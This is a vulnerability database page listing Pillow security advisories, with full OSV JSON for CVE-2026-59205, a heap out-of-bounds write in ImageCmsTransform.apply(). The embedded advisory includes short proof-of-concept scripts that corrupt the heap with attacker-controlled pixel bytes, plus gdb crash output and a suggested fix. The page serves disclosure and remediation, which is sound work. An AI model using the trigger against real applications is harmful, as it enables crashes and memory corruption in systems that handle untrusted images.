Vulnerabilities in pkg:pypi/pillow
PACKAGECVE-2026-59205 is a HIGH (CVSS 7.5) controlled heap out-of-bounds write vulnerability (CWE-787: Out-of-bounds Write) affecting Pillow libraries in the PyPI ecosystem. The issue involves controlled heap out-of-bounds write in pillow `imagecmstransform.apply()` via output mode mismatch. Remediation is available by upgrading affected packages to version 12.3.0.
pkg:pypi/pillow
Vulnerability advisories affecting package pkg:pypi/pillow. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-9hw9-ch79-4vh6 | CVE-2026-59205 | HIGH | Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch |
| GHSA-vjc4-5qp5-m44j | CVE-2026-59204 | HIGH | Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service |
| GHSA-pg7v-jwj7-p798 | CVE-2026-59203 | MODERATE | Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service |
| GHSA-phj9-mv4w-65pm | CVE-2026-55380 | HIGH | Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()` |
| GHSA-45hq-cxwh-f6vc | CVE-2026-55379 | HIGH | Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading |
| GHSA-5x94-69rx-g8h2 | CVE-2026-54060 | HIGH | Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` |
| GHSA-8v84-f9pq-wr9x | CVE-2026-54059 | HIGH | Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading |
| GHSA-62p4-gmf7-7g93 | CVE-2026-54058 | HIGH | Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) |
| GHSA-wjx4-4jcj-g98j | CVE-2026-42308 | MODERATE | Pillow has an integer overflow when processing fonts |
| GHSA-pwv6-vv43-88gr | CVE-2026-42311 | HIGH | Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow) |
| GHSA-r73j-pqj5-w3x7 | CVE-2026-42310 | MODERATE | Pillow has a PDF Parsing Trailer Infinite Loop (DoS) |
| GHSA-5xmw-vc9v-4wf2 | CVE-2026-42309 | MODERATE | Pillow has a heap buffer overflow with nested list coordinates |
| GHSA-cfh3-3jmp-rvhc | CVE-2026-25990 | HIGH | Pillow affected by out-of-bounds write when loading PSD images |
| GHSA-whj4-6x5x-4v2j | CVE-2026-40192 | HIGH | FITS GZIP decompression bomb in Pillow |
| GHSA-44wm-f244-xhp3 | CVE-2024-28219 | HIGH | Pillow buffer overflow vulnerability |
| GHSA-95q3-8gr9-gm8w | CVE-2021-27923 | HIGH | Pillow Denial of Service by Uncontrolled Resource Consumption |
| GHSA-3wvg-mj6g-m9cv | CVE-2021-27922 | HIGH | Pillow Uncontrolled Resource Consumption |
| GHSA-xg8h-j46f-w952 | CVE-2025-48379 | HIGH | Pillow vulnerability can cause write buffer overflow on BCn encoding |
| GHSA-56pw-mpj4-fxww | - | HIGH | Duplicate Advisory: Bundled libwebp in Pillow vulnerable |
| GHSA-r854-96gq-rfg3 | CVE-2014-1933 | MODERATE | Pillow Temporary file name leakage |
| GHSA-q5hq-fp76-qmrc | CVE-2021-28677 | HIGH | Uncontrolled Resource Consumption in Pillow |
| GHSA-8ghj-p4vj-mr35 | CVE-2023-44271 | HIGH | Pillow Denial of Service vulnerability |
| GHSA-xrcv-f9gm-v42c | CVE-2022-22816 | MODERATE | Out-of-bounds Read in Pillow |
| GHSA-pw3c-h7wp-cvhx | CVE-2022-22815 | MODERATE | Improper Initialization in Pillow |
| GHSA-vqcj-wrf2-7v73 | CVE-2020-35654 | HIGH | Pillow Out-of-bounds Write |
| GHSA-8vj2-vxx3-667w | CVE-2022-22817 | CRITICAL | Arbitrary expression injection in Pillow |
| GHSA-m2vv-5vj5-2hm7 | CVE-2022-45198 | HIGH | Pillow vulnerable to Data Amplification attack. |
| GHSA-q4mp-jvh2-76fj | CVE-2022-45199 | HIGH | Pillow subject to DoS via SAMPLESPERPIXEL tag |
| GHSA-7r7m-5h27-29hp | CVE-2021-28676 | HIGH | Potential infinite loop in Pillow |
| GHSA-j7mj-748x-7p78 | CVE-2019-16865 | HIGH | DOS attack in Pillow when processing specially crafted image files |
| GHSA-mvg9-xffr-p774 | CVE-2021-25291 | HIGH | Out of bounds read in Pillow |
| GHSA-9hx2-hgq2-2g4f | CVE-2021-25292 | MODERATE | Regular Expression Denial of Service (ReDoS) in Pillow |
| GHSA-v9pc-9mvp-x87g | CVE-2016-3076 | HIGH | Pillow Buffer overflow in Jpeg2KEncode.c |
| GHSA-rwv7-3v45-hg29 | CVE-2021-25288 | HIGH | Pillow Out-of-bounds Read vulnerability |
| GHSA-77gc-v2xv-rvvh | CVE-2021-25287 | HIGH | Out-of-bounds Read in Pillow |
| GHSA-7534-mm45-c74v | CVE-2021-34552 | CRITICAL | Buffer Overflow in Pillow |
| GHSA-98vv-pw6r-q6q4 | CVE-2021-23437 | HIGH | Uncontrolled Resource Consumption in pillow |
| GHSA-3xv8-3j54-hgrp | CVE-2020-10378 | HIGH | Out-of-bounds read in Pillow |
| GHSA-cqhg-xjhh-p8hf | CVE-2020-10177 | HIGH | Out-of-bounds reads in Pillow |
| GHSA-j6f7-g425-4gmx | CVE-2014-3598 | HIGH | Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin |
| GHSA-h5rf-vgqx-wjv2 | CVE-2014-9601 | HIGH | Pillow denial of service via PNG bomb |
| GHSA-8m9x-pxwq-j236 | CVE-2014-3007 | CRITICAL | Pillow command injection |
| GHSA-x895-2wrm-hvp7 | CVE-2014-1932 | HIGH | PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles |
| GHSA-8xjv-v9xq-m5h9 | CVE-2016-0775 | HIGH | Pillow Buffer overflow in ImagingFliDecode |
| GHSA-g6rj-rv7j-xwp4 | CVE-2021-28675 | HIGH | Pillow denial of service |
| GHSA-43fq-w8qq-v88h | CVE-2020-11538 | CRITICAL | Out-of-bounds read in Pillow |
| GHSA-vj42-xq3r-hr3r | CVE-2020-10994 | HIGH | Out-of-bounds reads in Pillow |
| GHSA-8843-m7mw-mxqm | CVE-2020-10379 | HIGH | Buffer overflow in Pillow |
| GHSA-hggx-3h72-49ww | CVE-2016-0740 | MODERATE | Pillow Buffer overflow in ImagingLibTiffDecode |
| GHSA-8xjq-8fcg-g5hw | CVE-2021-25290 | HIGH | Out-of-bounds Write in Pillow |
| GHSA-57h3-9rgr-c24m | CVE-2021-25289 | CRITICAL | Out of bounds write in Pillow |
| GHSA-3c5c-7235-994j | CVE-2016-2533 | HIGH | Pillow buffer overflow in ImagingPcdDecode |
| GHSA-cfmr-38g9-f2h7 | CVE-2014-3589 | HIGH | Pillow denial of service via Crafted Block Size |
| GHSA-hvr8-466p-75rh | CVE-2016-4009 | CRITICAL | Pillow Integer overflow in ImagingResampleHorizontal |
| GHSA-rwr3-c2q8-gm56 | CVE-2016-9189 | MODERATE | Pillow Integer overflow in Map.c |
| GHSA-f5g8-5qq7-938w | CVE-2020-35653 | HIGH | Pillow Out-of-bounds Read |
| GHSA-hf64-x4gq-p99h | CVE-2020-35655 | MODERATE | Pillow Out-of-bounds Read |
| GHSA-5gm3-px64-rw72 | CVE-2019-19911 | HIGH | Uncontrolled Resource Consumption in Pillow |
| GHSA-r7rm-8j6h-r933 | CVE-2020-5311 | CRITICAL | Buffer Copy without Checking Size of Input in Pillow |
| GHSA-vcqg-3p29-xw73 | CVE-2020-5310 | CRITICAL | Integer overflow in Pillow |
| GHSA-p49h-hjvm-jg3h | CVE-2020-5312 | CRITICAL | PCX P mode buffer overflow in Pillow |
| GHSA-jgpv-4h4c-xhw3 | - | MODERATE | Uncontrolled Resource Consumption in pillow |
CVE-2026-59205 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-59205
To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pillow>=12.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pillow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-59205, inspect your installed packages using pip:
pip show pillow
Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.
Note: The pip show pillow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-787: Out-of-bounds Write, where the product writes data past the end, or before the beginning, of the intended buffer. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59205 Affected Pillow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pillow
|
PyPI |
< 12.3.0
|
12.3.0
|
References
Frequently Asked Questions
What is CVE-2026-59205?
Which Pillow versions are affected?
What version fixes CVE-2026-59205?
Is pillow affected?
What is the CVSS score of CVE-2026-59205?
What CWE is associated with CVE-2026-59205?
How can I check PyPI dependencies for CVE-2026-59205?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9hw9-ch79-4vh6",
"modified" : "2026-07-20T23:19:00Z",
"published" : "2026-07-20T23:19:00Z",
"aliases" : [ "CVE-2026-59205" ],
"summary" : "Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch",
"details" : "### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n if imOut is None:\n imOut = Image.new(self.output_mode, im.size, None)\n self.transform.apply(im.getim(), imOut.getim())\n imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n return -1;\n }\n\n for (i = 0; i < im->ysize; i++) {\n cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n }\n\n pyCMScopyAux(hTransform, imOut, im);\n return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size: 16384 bytes\noverflow: ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n if im.mode != self.input_mode:\n raise ValueError(\"input mode mismatch\")\n if imOut is None:\n imOut = Image.new(self.output_mode, im.size, None)\n elif imOut.mode != self.output_mode:\n raise ValueError(\"output mode mismatch\")\n self.transform.apply(im.getim(), imOut.getim())\n imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pillow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59205"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/pull/9715"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/python-pillow/Pillow"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-787" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T23:19:00Z",
"nvd_published_at" : "2026-07-14T16:17:02Z"
}
}